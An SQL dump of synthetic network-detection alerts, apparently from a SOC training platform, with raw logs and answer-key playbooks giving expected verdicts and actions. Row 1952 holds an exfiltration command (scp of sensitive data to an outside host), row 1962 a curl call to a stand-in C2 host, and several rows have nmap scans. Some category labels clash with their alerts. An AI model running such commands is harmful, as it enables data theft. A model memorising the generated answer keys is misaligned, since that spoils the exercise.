(1949, 'Authorized Administrative Backup Mistaken for Data Exfiltration', 'low', 'Corelight', 'Data transfer activity to an external backup server was flagged as potential data exfiltration. This was an authorized backup process.', 'Data Exfil', 'T1041', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:45:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"203.0.113.10\",\"username\":\"backup_admin\",\"hostname\":\"backup-server\",\"command_line\":\"rsync -avz /data/backup/ user@203.0.113.10:/remote/backup/\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address from the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP address belongs to a trusted backup service provider.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"rsync -avz /data/backup/ user@203.0.113.10:/remote/backup/\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Command matches authorized backup procedure.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"External data transfer was part of scheduled backup operations, confirmed by IT.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1950, 'Misconfigured Legacy App Generating Suspicious Network Traffic', 'medium', 'Suricata', 'Network traffic from a legacy application server was flagged as suspicious. The application is known to generate erratic traffic patterns.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:22:10Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.30\",\"dst_ip\":\"192.168.2.35\",\"username\":\"legacy_app_user\",\"hostname\":\"legacy-server\",\"command_line\":\"java -jar /opt/legacy/app.jar\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address from the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.35\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address from the network.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"java -jar /opt/legacy/app.jar\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Command execution is part of the legacy application operations.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The network traffic patterns are typical for this legacy application and have been documented in historical logs.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1951, 'Benign System Health Checks Triggering Lateral Movement Alert', 'medium', 'Wireshark', 'System health check scripts were detected as possible lateral movement. These checks are part of routine maintenance.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:50:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.50\",\"dst_ip\":\"192.168.3.55\",\"username\":\"health_check_user\",\"hostname\":\"maintenance-server\",\"command_line\":\"python /scripts/health_check.py\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address from the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.3.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address from the network.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"python /scripts/health_check.py\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Command execution is part of routine system health checks.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The processes observed are consistent with routine maintenance scripts executed by authorized personnel.\"}', 'Intermediate', 'NDR', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1952, 'Unauthorized Data Exfiltration Attempt Detected', 'critical', 'Darktrace', 'A large volume of data was observed being exfiltrated to an unauthorized external server. This activity was confirmed as an actual data breach attempt.', 'Data Exfil', 'T1041', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.5.10\",\"dst_ip\":\"203.0.113.100\",\"username\":\"compromised_user\",\"hostname\":\"compromised-machine\",\"command_line\":\"scp -r /sensitive_data/ user@203.0.113.100:/stolen_data/\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address from the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for data exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"scp -r /sensitive_data/ user@203.0.113.100:/stolen_data/\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command execution matches known data exfiltration patterns.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The data transfer to an unauthorized IP was confirmed as a malicious exfiltration attempt.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1953, 'Routine IT Scan Detected as Potential C2 Beaconing', 'medium', 'Zeek', 'A network scan was detected which matches the signature of C2 beaconing. The source IP belongs to the internal IT department conducting routine vulnerability assessments.', 'C2 Beaconing', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:32Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"10.0.0.200\",\"username\":\"it_admin\",\"hostname\":\"scanner01\",\"command_line\":\"nmap -sS 10.0.0.200\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for routine scanning\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sS 10.0.0.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Standard Nmap command for scanning\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The alert is a false positive as the source IP belongs to the IT department performing routine scans.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1954, 'Authorized Backup Traffic Mistaken for Data Exfiltration', 'medium', 'Suricata', 'Anomalous data transfer detected to an external IP, initially flagged as potential data exfiltration. Investigation reveals it is part of the scheduled backup routine to a cloud storage provider.', 'Data Exfiltration', 'T1048', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:27:19Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"203.0.113.50\",\"username\":\"backup_user\",\"hostname\":\"backup_server\",\"request_body\":\"\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP performing scheduled backups\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Known cloud storage provider IP\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"This alert is a false positive due to the authorized nature of the backup traffic.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1955, 'Internal Health Check Misidentified as Lateral Movement', 'low', 'Corelight', 'A health check script execution was misidentified as lateral movement within the network. The script is part of regular system maintenance procedures.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:15:43Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.168.1.30\",\"username\":\"sysadmin\",\"hostname\":\"healthcheck01\",\"command_line\":\"check_system_health.sh\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in system health checks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"check_system_health.sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Regular script for system health checks\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The alert is a false positive as it involves legitimate health check activities.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1956, 'Legacy Application Misconfiguration Triggers C2 Alert', 'high', 'Darktrace', 'Anomalous outbound traffic was detected, flagged as C2 communication. The traffic originates from a misconfigured legacy application attempting to connect to an outdated external server.', 'C2 Beaconing', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:33:21Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"198.51.100.10\",\"username\":\"app_user\",\"hostname\":\"legacy_app01\",\"command_line\":\"\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP from legacy application server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"External IP associated with outdated service\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"This alert is a false positive due to the legacy application\'s misconfiguration.\"}', 'Intermediate', 'NDR', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1957, 'Detected C2 Beaconing Activity - True Positive', 'critical', 'Wireshark', 'Suspicious beaconing activity detected from an internal host to a known malicious external IP, indicating potential C2 communication.', 'C2 Beaconing', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:55:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.75\",\"dst_ip\":\"203.0.113.99\",\"username\":\"compromised_user\",\"hostname\":\"infected_host\",\"command_line\":\"\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP showing suspicious behavior\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activities\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The alert is a true positive as it involves communication with a known malicious external IP.\"}', 'Intermediate', 'NDR', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1958, 'Routine IT Vulnerability Scanning Detected', 'low', 'Zeek', 'A series of network scans were detected originating from an internal server. These scans are part of routine vulnerability assessment procedures.', 'Data Exfil', 'T1041', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:15:22Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.255\",\"username\":\"admin\",\"hostname\":\"vuln-scan-01\",\"command_line\":\"nmap -sP 192.168.1.0/24\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for vulnerability scanning\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sP 192.168.1.0/24\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine network scan command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"This alert corresponds to a known and scheduled vulnerability scan.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1959, 'Authorized Administrative Backups Triggered Unusual Traffic Patterns', 'low', 'Suricata', 'Network traffic resembling data exfiltration detected, traced back to scheduled backup tasks from an internal server.', 'Data Exfil', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:10Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.50\",\"username\":\"backupadmin\",\"hostname\":\"backup-server\",\"command_line\":\"rsync -avz /data/ 10.0.0.50:/backup/\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP address of internal backup server\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rsync -avz /data/ 10.0.0.50:/backup/\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Authorized backup operation\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The detected traffic is consistent with scheduled backup operations.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1960, 'Benign System Health Checks Mistaken for C2 Beaconing', 'low', 'Corelight', 'Network activity originally flagged as potential C2 beaconing was found to be routine system health checks by a legacy application.', 'Lateral Movement', 'T0888', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:22:33Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"192.168.2.20\",\"username\":\"healthcheck\",\"hostname\":\"legacy-app-01\",\"command_line\":\"curl http://192.168.2.20:8080/status\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP address of internal legacy application server\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"curl http://192.168.2.20:8080/status\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine health check command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The activity is consistent with regular application health checks.\"}', 'Intermediate', 'NDR', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1961, 'Misconfigured Legacy App Causing False Positive C2 Alerts', 'medium', 'Darktrace', 'Network connections from a legacy application server are triggering C2 alerts due to misconfiguration. Investigation reveals routine internal application processes.', 'C2', 'T1094', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:02:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.1.1.25\",\"dst_ip\":\"10.1.1.100\",\"username\":\"legacyadmin\",\"hostname\":\"legacy-app-02\",\"command_line\":\"ping -c 5 10.1.1.100\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address belonging to a legacy application\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"ping -c 5 10.1.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine network connectivity check\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"c2\",\"analysis_notes\":\"The detected activity is due to a known misconfiguration in the legacy application.\"}', 'Intermediate', 'NDR', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1962, 'True Positive: C2 Beaconing Detected from Compromised Host', 'critical', 'Wireshark', 'A compromised host within the network is exhibiting behavior consistent with command and control beaconing to an external IP.', 'C2', 'T1102', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T17:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.10\",\"dst_ip\":\"45.76.67.89\",\"username\":\"unknown\",\"hostname\":\"compromised-host\",\"command_line\":\"curl -X POST http://malicious.c2/command\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"45.76.67.89\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for command and control activities\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"curl -X POST http://malicious.c2/command\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command associated with known C2 server\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"c2\",\"analysis_notes\":\"This alert is confirmed as a true positive due to the nature of the connections and external IP reputation.\"}', 'Intermediate', 'NDR', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1963, 'Routine IT Vulnerability Scanning Detected', 'low', 'Zeek', 'A network scan was detected originating from an internal IP. This is a routine scan performed by the IT department.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"192.168.1.100\",\"username\":\"it_admin\",\"hostname\":\"scan_server\",\"command_line\":\"nmap -sS 192.168.1.0/24\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address used by the IT department for scanning.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sS 192.168.1.0/24\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine IT scanning command.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The alert is a false positive as it involves a routine scan by IT personnel.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1964, 'Authorized Administrative Backup Activity', 'low', 'Corelight', 'Backup data transfer detected from critical server to backup storage. Verified as part of regular backup schedule.', 'Data Exfiltration', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.100\",\"username\":\"backup_service\",\"hostname\":\"main_server\",\"command_line\":\"rsync -av /data 10.0.0.100:/backup\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP representing the main server.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rsync -av /data 10.0.0.100:/backup\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Standard backup command.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"This is a scheduled backup operation and not unauthorized data exfiltration.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1965, 'Benign System Health Check', 'low', 'Darktrace', 'Detected network traffic resembling beaconing activity. Identified as routine health check by monitoring tool.', 'C2 Beaconing', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.1.10\",\"dst_ip\":\"192.168.1.200\",\"username\":\"monitor_service\",\"hostname\":\"monitoring_tool\",\"command_line\":\"health_check --ping --interval 5\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP for monitoring tool.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"health_check --ping --interval 5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine health check command.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"c2_beaconing\",\"analysis_notes\":\"Traffic resembles beaconing but is an internal system health check.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1966, 'Misconfigured Legacy Application Communication', 'medium', 'Wireshark', 'Detected unusual network traffic patterns from a legacy application server. Confirmed as benign due to misconfiguration.', 'Data Exfiltration', 'T1048', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:20:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"192.168.2.100\",\"username\":\"legacy_app\",\"hostname\":\"legacy_server\",\"command_line\":\"send_data --port 8080 --protocol TCP\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a legacy application server.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"send_data --port 8080 --protocol TCP\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command related to misconfigured legacy app communication.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The misconfigured application is causing unusual traffic patterns, not data exfiltration.\"}', 'Intermediate', 'NDR', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1967, 'Suspicious Network Connection from External IP', 'high', 'Suricata', 'A connection attempt was detected from a foreign IP address with a history of malicious activity, targeting an internal server.', 'C2 Beaconing', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.50\",\"username\":\"unknown\",\"hostname\":\"target_server\",\"command_line\":null}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the targeted server.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"c2_beaconing\",\"analysis_notes\":\"The alert is a true positive due to malicious intent from a known bad actor IP.\"}', 'Intermediate', 'NDR', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1968, 'Suspicious Internal Network Traffic Detected', 'medium', 'Zeek', 'Internal network scan detected originating from an authorized vulnerability assessment tool. Traffic resembles lateral movement patterns.', 'Lateral Movement', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T23:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.101\",\"username\":\"audit_user\",\"hostname\":\"vuln-scan01\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP belongs to internal vulnerability scanning tool\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP is an internal asset\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The traffic is consistent with authorized internal network scanning activities.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1969, 'Routine Administrative Backup Process Detected', 'low', 'Corelight', 'Data transfer detected to backup server from internal database server. Activity resembles data exfiltration.', 'Data Exfiltration', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.50\",\"dst_ip\":\"192.168.2.200\",\"username\":\"backup_admin\",\"hostname\":\"db-server01\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal database server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal backup server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"This activity is a normal backup operation scheduled by IT.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
